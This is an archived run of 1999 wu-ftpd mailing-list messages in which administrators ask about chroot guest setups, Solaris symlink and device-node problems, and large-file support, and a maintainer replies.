Fri, 26 Mar 1999 13:11:47 -0500
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 13:11:47 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Morgan A, Miskell" <[email protected]>
Cc: [email protected]
Subject: Re: Newbie Question about 2.4.2-vr16
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 26 Mar 1999, Morgan A, Miskell wrote:

> My question is simple, if I ftp to any of the servers and do a 'cd /'
> I get the root of the machine and not the specified root in the
> ftpaccess file. Is this supposed to work like this? I am assuming
> that it should have chroot'ed and put me into the specified root dir.
>
> Anyone have any comments/thoughts on what I may have done wrong?
>
> virtual bbb.bbb.bbb.bbb root /usr/local/WWW/FTP/usr/icehouse
> virtual bbb.bbb.bbb.bbb banner /usr/local/WWW/FTP/usr/icehouse/banner.msg
> virtual bbb.bbb.bbb.bbb allow icehouse
> virtual bbb.bbb.bbb.bbb private
>
> virtual aaa.aaa.aaa.aaa root /usr/local/WWW/FTP
> virtual aaa.aaa.aaa.aaa banner /usr/local/WWW/FTP/banner.msg
> virtual aaa.aaa.aaa.aaa allow egghead
> virtual aaa.aaa.aaa.aaa private

See the message just posted to Lief on the mailing list.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 26 13:32:16 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA26855;
Fri, 26 Mar 1999 13:32:15 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA19262;
Fri, 26 Mar 1999 13:27:04 -0600 (CST)
Received: from astro.sgsnet.com (astro.sgsnet.com [204.217.154.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA23178
for <[email protected]>; Fri, 26 Mar 1999 13:20:17 -0600 (CST)
Received: from imho.net (taz.sgsnet.com [204.217.154.9]) by astro.sgsnet.com (8.7.5/8.7.3) with ESMTP id NAA23643 for <[email protected]>; Fri, 26 Mar 1999 13:12:14 -0600 (CST)
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 13:18:39 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Leif Ericksen <[email protected]>
To: FTP <[email protected]>
Subject: Possible answer for Solaris MAXSYMLINKS problem.
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [email protected]
X-Mailer: Mozilla 4.51 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

OK I played around with my servers and this is what I have found...
I have a Virtual server in the password file I have
/export/htdocs/server/./
In /export/htdocs/server WHEN I HAVE THE /etc, /usr/lib, /dev, /bin
LOCATED there it works great. However, if ANY of the files are symbolic
links (ln -s) I get the following error:
553 Could not determine cwdir: Number of symbolic links encountered
during path name traversal exceeds MAXSYMLINKS.
226 Transfer complete.

Now as long as I did not miss anything it looks like solaris does not
like to have symbolic links. NOW I did not try making the home
directory
/export/home/htdocs and force the chroot directory to be
/export/htdocs/server but that may eliminate the problem. As it is
solaris does not seem to like the symbolic links to the required files.
It may like the symlink to libintl.so.1 because the documetns say
so... But I would have to test it out first.

Just a few ideas and pointers from somebody that had time to play....
I love being the Sys admin for a SMALL company..

It give you more time to play!

--Leif Ericksen
[email protected]

From [email protected] Fri Mar 26 14:15:23 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA27539;
Fri, 26 Mar 1999 14:15:22 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA01527;
Fri, 26 Mar 1999 14:10:14 -0600 (CST)
Received: from commnet.accn.org (commnet.accn.org [207.73.64.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA08126
for <[email protected]>; Fri, 26 Mar 1999 14:09:18 -0600 (CST)
Received: from accn.org (rocky.accn.org [207.73.64.8])
by commnet.accn.org (8.9.3/8.9.3) with ESMTP id PAA22739
for <[email protected]>; Fri, 26 Mar 1999 15:09:25 -0500 (EST)
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 15:07:12 -0500
Reply-To: [email protected]
Sender: [email protected]
From: ryanm <[email protected]>
To: wu-ftpd mailing list <[email protected]>
Subject: chroot
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.51 [en] (WinNT; I)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I followed all the chroot() instructions and it seems to be working
other than a ls doesn't list out any of the files that exist in the
user's home directory. I have copied over /bin/ls and it is in ~/bin/ls
and all the rights and dir's exist. I have the /etc/passwd,/etc/group
and /etc/ftpaccess files setup right. Any known reasons why this occurs?

Thanks in advance,

Ryan

From [email protected] Fri Mar 26 14:29:55 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA27777;
Fri, 26 Mar 1999 14:29:54 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA11826;
Fri, 26 Mar 1999 14:23:38 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA08901
for <[email protected]>; Fri, 26 Mar 1999 14:21:38 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id PAA14795;
Fri, 26 Mar 1999 15:21:34 -0500
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 15:21:33 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: ryanm <[email protected]>
Cc: wu-ftpd mailing list <[email protected]>
Subject: Re: chroot
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 26 Mar 1999, ryanm wrote:

> I followed all the chroot() instructions and it seems to be working
> other than a ls doesn't list out any of the files that exist in the
> user's home directory. I have copied over /bin/ls and it is in
> ~/bin/ls and all the rights and dir's exist. I have the
> /etc/passwd,/etc/group and /etc/ftpaccess files setup right. Any known
> reasons why this occurs?

The FAQ covers a number of the possible reasons and includes a test using
the chroot command for most of them.

One reason a lot of people have problems is the chroot is to the part of
/etc/passwd homedirectory to the LEFT of /./ and that's where bin dev etc
and lib need to go. ~/bin/ls is right if /etc/passwd has no /./ for the
guest user or has /./ at the very end.

The location of the latest version of wu-ftpd can be found in the
directory

ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Sat Mar 27 07:41:34 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA25484;
Sat, 27 Mar 1999 07:41:33 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA22500;
Sat, 27 Mar 1999 07:35:20 -0600 (CST)
Received: from breeze.dnp.co.jp ([email protected] [202.32.35.19])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id HAA30511
for <[email protected]>; Sat, 27 Mar 1999 07:28:21 -0600 (CST)
Received: from microgw1.micro.dnp.co.jp (microgw1.micro.dnp.co.jp [10.128.12.3]) by breeze.dnp.co.jp (8.9.3/3.7W/IOC-2.6/Fw) with SMTP id WAA23685 for <[email protected]>; Sat, 27 Mar 1999 22:28:19 +0900 (JST)
Received: from angel01.micro.dnp.co.jp (angel01.micro.dnp.co.jp [10.128.120.101]) by microgw1.micro.dnp.co.jp (8.6.9+2.4Wb3/3.3W2/micro-v1.17/nakajima) with ESMTP
id WAA07859 for <[email protected]>; Sat, 27 Mar 1999 22:28:18 +0900
Received: from angel01.micro.dnp.co.jp (quark.micro.dnp.co.jp [10.128.52.163]) by angel01.micro.dnp.co.jp (8.7.1+2.6Wbeta4/3.4Wbeta6-04/02/96) with ESMTP id WAA12617 for <[email protected]>; Sat, 27 Mar 1999 22:28:26 +0900 (JST)
Message-Id: <[email protected]>
Date: Sat, 27 Mar 1999 22:28:17 +0900
Reply-To: [email protected]
Sender: [email protected]
From: Masayuki Takayanagi <[email protected]>
To: "[email protected]" <[email protected]>
Subject: Help! Large file aware wu-ftpd for solaris2.6
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.04 [ja] (Win95; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hello,

I've been trying to build wu-ftpd 2.4.2 vr16 on solaris2.6 so that it
will be able to transfer large files whose size is greater than 2GB.
The building steps were:
1.Convert 'int' variables used for file size information to 'off_t',
2.Convert '%ld' formatting strings used for file size information to
'%lld'.
3,Compile source files with -D_FILE_OFFSET_BITS=64 option.
I confirmed that most commands work propery for large files.
But I'm afraid that 'REST' command will not work propery for the large
files.
Because of my poor knowledge about yacc,I can't modify ftpcmd.y so that
the 'REST' command will store a 'long long(64bit)' value into the
'restart_point' variable.
Has anyone done this work?
Any help would be appreciated

Sorry for my poor English,

Thanks,
Masayuki Takayanagi

From [email protected] Sat Mar 27 09:29:59 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA26228;
Sat, 27 Mar 1999 09:29:58 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA29601;
Sat, 27 Mar 1999 09:23:45 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA12104
for <[email protected]>; Sat, 27 Mar 1999 09:21:11 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id KAA23182;
Sat, 27 Mar 1999 10:21:05 -0500
Message-Id: <[email protected]>
Date: Sat, 27 Mar 1999 10:21:05 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Masayuki Takayanagi <[email protected]>
Cc: "[email protected]" <[email protected]>
Subject: Re: Help! Large file aware wu-ftpd for solaris2.6
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Sat, 27 Mar 1999, Masayuki Takayanagi wrote:

> I've been trying to build wu-ftpd 2.4.2 vr16 on solaris2.6 so that it
> will be able to transfer large files whose size is greater than 2GB.

> The building steps were:
> 1.Convert 'int' variables used for file size information to 'off_t',
> 2.Convert '%ld' formatting strings used for file size information to '%lld'.
> 3,Compile source files with -D_FILE_OFFSET_BITS=64 option.
> I confirmed that most commands work propery for large files. But I'm
> afraid that 'REST' command will not work propery for the large files.
> Because of my poor knowledge about yacc,I can't modify ftpcmd.y so
> that the 'REST' command will store a 'long long(64bit)' value into the
> 'restart_point' variable. Has anyone done this work? Any help would be
> appreciated

It's just C code. Don't be afraid of it.

You'll want to change the cast (int) to cast (off_t) and the cast (long)
to cast (off_t). restart_point is already an off_t.

Huh? restart_point is already an off_t? Duh! Your change isn't an
enhancement .. it's a bugfix. Do you really need the
D_FILE_OFFSET_BITS=64? Is there some other way to detect that you're on a
largefile Solaris? Look out for other, more subtle, problems when dealing
with large files.

Change or bugfix, as always, I'd like to see the diffs.

--

Wally .. is largefile a default part of Solaris? If not, we need a test
to detect it. In either case, we'll need to do the #if crap arround the
int/off_t and similar changes so we don't break when building on targets
with clueless runtime headers that don't know the difference.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Sat Mar 27 10:08:45 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA26570;
Sat, 27 Mar 1999 10:08:44 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA11329;
Sat, 27 Mar 1999 10:04:02 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA18041
for <[email protected]>; Sat, 27 Mar 1999 10:00:32 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id LAA24096
for <[email protected]>; Sat, 27 Mar 1999 11:00:31 -0500
Message-Id: <[email protected]>
Date: Sat, 27 Mar 1999 11:00:31 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: WU-FTPD Discussion List <[email protected]>
Subject: Re: wu-ftpd overflow. (fwd)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Sat, 27 Mar 1999, Homer Wilson Smith wrote:

> Also as far as I can tell there is no way to tell Netscape to upload
> in ascii format, so people using Netscape to ftp cgi's etc to the web
> server always screw them up, because binary format leaves the damn
> 0x0D's at the end of the line and they don't work!

I propose two new acronmyns for the 'net:

YAIEB -- Yet Another Internet Explorer Bug
YANNB -- Yes Another Netscape Navigator Bug

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Sat Mar 27 16:21:48 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA29524;
Sat, 27 Mar 1999 16:21:47 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA03945;
Sat, 27 Mar 1999 16:15:34 -0600 (CST)
Received: from mesg.pallisersd.ab.ca (pallisersd.ab.ca [199.216.197.2] (may be forged))
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA04270
for <[email protected]>; Sat, 27 Mar 1999 16:10:40 -0600 (CST)
Received: from pallisersd.ab.ca ([199.216.196.1]) by mesg.pallisersd.ab.ca
(Netscape Messaging Server 3.01) with ESMTP id AAA11985
for <[email protected]>; Sat, 27 Mar 1999 14:57:52 -0700
Message-Id: <[email protected]>
Date: Sat, 27 Mar 1999 15:11:38 -0700
Reply-To: [email protected]
Sender: [email protected]
From: "Maurice Hollingsworth" <[email protected]>
To: [email protected]
Subject: Re: Chroot on Solaris 2.5.1
References: <[email protected]>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------CD28A02ABA9685F4C4CC6A93"
X-Mailer: Mozilla 4.03 [en] (Win95; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This is a multi-part message in MIME format.
--------------CD28A02ABA9685F4C4CC6A93
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

First, thank you to all who provided advisement on chroot with Solaris 2.5.1.

As a point of reference, and as suggested by others, using links to
~ftpuser/dev/tcp and ~ftpuser/dev/zero fails to work under Solaris 2.5.1.
Using the mknod command (i.e. mknod zero c 13 12, then mknod tcp c 11 42 )
solved the problem.

Sincerely,

Maurice Hollingsworth

--------------CD28A02ABA9685F4C4CC6A93
Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Maurice Hollingsworth, Ph.D.
Content-Disposition: attachment; filename="vcard.vcf"

begin: vcard
fn: Maurice Hollingsworth, Ph.D.
n: Hollingsworth, Ph.D.;Maurice
org: Palliser Regional Schools
email;internet: [email protected]
title: Director of Information Technology
x-mozilla-cpt: ;0
x-mozilla-html: FALSE
version: 2.1
end: vcard

--------------CD28A02ABA9685F4C4CC6A93--

From [email protected] Sun Mar 28 13:17:08 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA08717;
Sun, 28 Mar 1999 13:17:06 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA29925;
Sun, 28 Mar 1999 13:11:00 -0600 (CST)
Received: from pecos.mis.earthlink.net (pecos.mis.earthlink.net [207.217.69.23])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA05233
for <[email protected]>; Sun, 28 Mar 1999 13:04:11 -0600 (CST)
Received: by pecos.mis.earthlink.net with Internet Mail Service (5.5.2448.0)
id <HYK928PY>; Sun, 28 Mar 1999 11:04:15 -0800
Message-Id: <[email protected]>
Date: Sun, 28 Mar 1999 11:04:14 -0800
Reply-To: [email protected]
Sender: [email protected]
From: "Durham, Kenneth J" <[email protected]>
To: "'wuftp'" <[email protected]>
Subject: FTP User problem
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
X-Mailer: Internet Mail Service (5.5.2448.0)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Im trying to get my ftp to alow anonymous as well as users to logon. The
anonymous works great but Im still having a bit of a problem with my user
account logon. I have followed the FAQ as closely as possible but still
nothing. I also folowed the one at
http://www.landfield.com/wu-ftpd/guest-howto.html#example
<http://www.landfield.com/wu-ftpd/guest-howto.html#example > . The user
can logon just fine but is not chroot'ed to the dir that I specified. This
is the setup that I have. If someone can see anything that I can change for
security reasons or anything else please let me know.
/ftp ftp dir for anonymous
/ftp/bin
/ftp/etc
/ftp/incoming for incoming files
/ftp/pub
/ftp/lib all lib files for ls
/ftp/usr/username ftp dir users

what I want to be able to do is to have each user have there own dir in
/ftp/usr and i want them not to be able to leave there home dir.
/etc/passwd looks like this

test:password here:500:503::/ftp/usr/./test:/bin/ftponly
ftponly is the script that i got from the directions on the page.
/etc/group

ftpguest:*:92:
this is what i read from the mailing list
/etc/ftpaccess
email root@localhost

loginfails 5

readme README* login
readme README* cwd=*

message /welcome.msg login
message .message cwd=*

compress yes all
tar yes all
chmod no guest,anonymous
delete no guest,anonymous
overwrite no guest,anonymous
rename no guest,anonymous
log transfers anonymous,real inbound,outbound

guestgroup ftpguest
shutdown /etc/shutmsg

passwd-check rfc822 warn

i got this also from the mailing list. I cant think of anything else that
could be causing the problem. Can someone please help. thank you for yoiur
help

From [email protected] Sun Mar 28 13:59:32 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA09154;
Sun, 28 Mar 1999 13:59:31 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA11738;
Sun, 28 Mar 1999 13:54:43 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA23677
for <[email protected]>; Sun, 28 Mar 1999 13:53:38 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id OAA02033;
Sun, 28 Mar 1999 14:53:29 -0500
Message-Id: <[email protected]>
Date: Sun, 28 Mar 1999 14:53:28 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Durham, Kenneth J" <[email protected]>
Cc: "'wuftp'" <[email protected]>
Subject: Re: FTP User problem
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Sun, 28 Mar 1999, Durham, Kenneth J wrote:

> test:password here:500:503::/ftp/usr/./test:/bin/ftponly

> /etc/group
> ftpguest:*:92:

ftpguest:*:92:test

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Sun Mar 28 15:18:21 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA09914;
Sun, 28 Mar 1999 15:18:20 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA31818;
Sun, 28 Mar 1999 15:12:09 -0600 (CST)
Received: from mets.tcimet.net (news.tci.east-lansing.mi.us [198.109.160.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA28991
for <[email protected]>; Sun, 28 Mar 1999 15:10:13 -0600 (CST)
Received: from hyperion ([198.109.163.245])
by mets.tcimet.net (8.8.5/8.8.5) with SMTP id QAA28605
for <[email protected]>; Sun, 28 Mar 1999 16:10:12 -0500 (EST)
Message-Id: <[email protected]>
Date: Sun, 28 Mar 1999 16:13:02 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Jhestyr" <[email protected]>
To: "wu-ftpd" <[email protected]>
Subject: FTP setup
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3155.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

does anyone know the location of a HOW-TO that
shows step by step for creating users and setting permissions and goes over
the
ftpaccess
ftpgroups
passwd
files?

--
Jhestyr
Dovie' se Tovya Andi
------------------------------------

-----Original Message-----
From: Gregory A Lundberg <[email protected]>
To: Durham, Kenneth J <[email protected]>
Cc: 'wuftp' <[email protected]>
Date: Sunday, March 28, 1999 2:57 PM
Subject: Re: FTP User problem

>On Sun, 28 Mar 1999, Durham, Kenneth J wrote:
>
>> test:password here:500:503::/ftp/usr/./test:/bin/ftponly
>
>> /etc/group
>> ftpguest:*:92:
>
>ftpguest:*:92:test
>
>--
>
>Gregory A Lundberg Senior Partner, VRnet Company
>1441 Elmdale Drive [email protected]
>Kettering, OH 45409-1615 USA 1-800-809-2195
>
>

From [email protected] Sun Mar 28 15:29:40 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA10017;
Sun, 28 Mar 1999 15:29:39 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA09434;
Sun, 28 Mar 1999 15:24:56 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA04705
for <[email protected]>; Sun, 28 Mar 1999 15:19:14 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id QAA03126;
Sun, 28 Mar 1999 16:19:02 -0500
Message-Id: <[email protected]>
Date: Sun, 28 Mar 1999 16:19:02 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Jhestyr <[email protected]>
Cc: wu-ftpd <[email protected]>
Subject: Re: FTP setup
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Sun, 28 Mar 1999, Jhestyr wrote:

> does anyone know the location of a HOW-TO that shows step by step for
> creating users and setting permissions and goes over the
> ftpaccess
> ftpgroups
> passwd
> files?

A lot of this is discussed in
ftp://ftp.vr.net/pub/wu-ftpd/upload.configuration.HOWTO
/etc/ftpgroups, the file, is not needed for most sites. There is an
example layout of a working FTP site at
ftp://ftp.vr.net/pub/wu-ftpd/examples/
other information can be found in the FAQ.

The location of the latest version of wu-ftpd can be found in the
directory

ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Sun Mar 28 22:26:19 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id WAA14806;
Sun, 28 Mar 1999 22:26:17 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id WAA06497;
Sun, 28 Mar 1999 22:20:09 -0600 (CST)
Received: from hme0.mailrouter02.sprint.ca (hme0.mailrouter02.sprint.ca [207.107.250.60])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id WAA09471
for <[email protected]>; Sun, 28 Mar 1999 22:16:33 -0600 (CST)
Received: from sprint.ca (spc-isp-tor-uas-98-34.sprint.ca [209.148.148.135])
by hme0.mailrouter02.sprint.ca (8.8.8/8.8.8) with ESMTP id XAA06041
for <[email protected]>; Sun, 28 Mar 1999 23:16:30 -0500 (EST)
Message-Id: <[email protected]>
Date: Sun, 28 Mar 1999 23:16:25 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Hanbing Yan <[email protected]>
To: wu-ftpd <[email protected]>
Subject: How can guests share the /bin & /lib file?
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.04 [en] (Win95; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I setup a guest group of wu-ftp and use chroot. It works properly. But
I don't want every user has /home/userx/bin and /home/usrx/lib. Can
guest users share the /bin & /lib and at the same time they can't see
each other's file and directory?

Thanks
Hanbing

From [email protected] Mon Mar 29 07:14:39 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA21506;
Mon, 29 Mar 1999 07:14:38 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA23003;
Mon, 29 Mar 1999 07:08:28 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id HAA18625
for <[email protected]>; Mon, 29 Mar 1999 07:05:26 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id IAA09626;
Mon, 29 Mar 1999 08:04:40 -0500
Message-Id: <[email protected]>
Date: Mon, 29 Mar 1999 08:04:39 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Hanbing Yan <[email protected]>
Cc: wu-ftpd <[email protected]>
Subject: Re: How can guests share the /bin & /lib file?
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Sun, 28 Mar 1999, Hanbing Yan wrote:

> I setup a guest group of wu-ftp and use chroot. It works properly. But
> I don't want every user has /home/userx/bin and /home/usrx/lib. Can
> guest users share the /bin & /lib and at the same time they can't see
> each other's file and directory?

Yes. The feature appeared in V16: restricted-uid/restricted-gid. Of
course it had a bug (effecting IE and Netscape); the bug will be fixed
Thurday in VR17.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 29 08:48:58 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA22647;
Mon, 29 Mar 1999 08:48:56 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA01488;
Mon, 29 Mar 1999 08:42:41 -0600 (CST)
Received: from hme0.mailrouter02.sprint.ca (hme0.mailrouter02.sprint.ca [207.107.250.60])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA00708
for <[email protected]>; Mon, 29 Mar 1999 08:38:13 -0600 (CST)
Received: from sprint.ca (spc-isp-tor-uas-71-15.sprint.ca [209.148.137.166])
by hme0.mailrouter02.sprint.ca (8.8.8/8.8.8) with ESMTP id JAA16088;
Mon, 29 Mar 1999 09:37:59 -0500 (EST)
Message-Id: <[email protected]>
Date: Mon, 29 Mar 1999 09:37:53 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Hanbing Yan <[email protected]>
To: [email protected]
Cc: wu-ftpd <[email protected]>
Subject: Re: How can guests share the /bin & /lib file?
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.04 [en] (Win95; I)
